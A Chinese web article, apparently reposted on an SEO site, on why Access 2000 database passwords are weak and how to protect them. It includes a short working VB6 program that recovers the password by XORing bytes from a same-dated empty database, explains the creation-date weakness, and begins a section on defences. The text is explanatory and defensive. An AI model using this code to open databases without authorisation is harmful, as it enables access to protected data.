防止Access 2000密码被破译的方法建站知识
导读:1建站知识如果你过分信任Access2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常营销型网站建设网seo优化趋势。
如果你过分信任Access2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常小的程序就可以攻破它:
程序一(VB6):Access 2000密码破译
Private Sub Command1_Click()
Const Offset = &H43 文件偏移地址:Access数据库从此处开始存放加密密码
Dim bEmpty(1 To 2) As Byte, bPass(1 To 2) As Byte
Dim i As Integer, PasswordAs String
打开一个空数据库作为参照
Open "D:\VB6_Test\MDB_Password\New_Empty_DB.mdb" For Binary As #1
打开被密码保护的数据库
Open "D:\VB6_Test\MDB_Password\Pass_Protected_DB.mdb" For Binary As #2
Seek #1, Offset
Seek #2, Offset
For i = 1 To 20 ' Access 2000 数据库密码最长允许20位
Get #1, , bEmpty ' 其中每位密码占两个字节
Get #2, , bPass ' 一个汉字也仅是一位密码,占两个字节
If (bEmpty(1) Xor bPass(1)) <> 0 Then
Password = Password + Chr(bEmpty(1) Xor bPass(1)) ' 将密码解密
End If
Next
Close 1, 2
MsgBox "Password:" + Password ' 显示密码
End Sub
一、深入分析
上述程序成功的关键是使用了一个空数据库(New_Empty_DB.mdb)。该数据库的创建日期必须与被密码保护的数据库(Pass_Protected_DB.mdb)相一致。 换句话说,Access 2000 仅仅是使用“数据库创建日期”来加密用户密码。
应注意的是:上面的“创建日期”只是操作系统级的,也就是 Windows记录在文件夹目录里的信息(根据文件名的长短,每个文件在目录里占用至少32个字节,包括:文件名、属性、文件大小、首蔟号、创建时间、修改时间和访问时间等)。
Access 2000 在数据库中也记录了该数据库的“创建日期”。加密数据库密码的正是数据库内部记录的这个“创建日期”。该日期只有在数据库被成功打开后才能看到。但在一般情况下,操作系统级的以及数据库内保存的“创建日期”是完全一样的,因此这为破译者提供了方便。
上述程序中还有一点需要说明:为简明起见,解密密码时仅处理了双字节的首字节,因此它仅对非汉字密码有效。若要解密汉字密码,须对双字节均做处理。
二、防范措施
1、隐藏“创建日期”
从上面的分析可以看出,既然“创建日期”是破译的关键,那么我们应“对症下药”,将真实的“创建日期”隐藏起来。
声明: 本文由我的SEOUC技术文章主页发布于:2023-05-23 ,文章防止Access 2000密码被破译的方法建站知识主要讲述密码,标签,防止Access 2000密码被破译的方法建站知网站建设源码以及服务器配置搭建相关技术文章。转载请保留链接: https://www.seouc.com/article/web_5577.html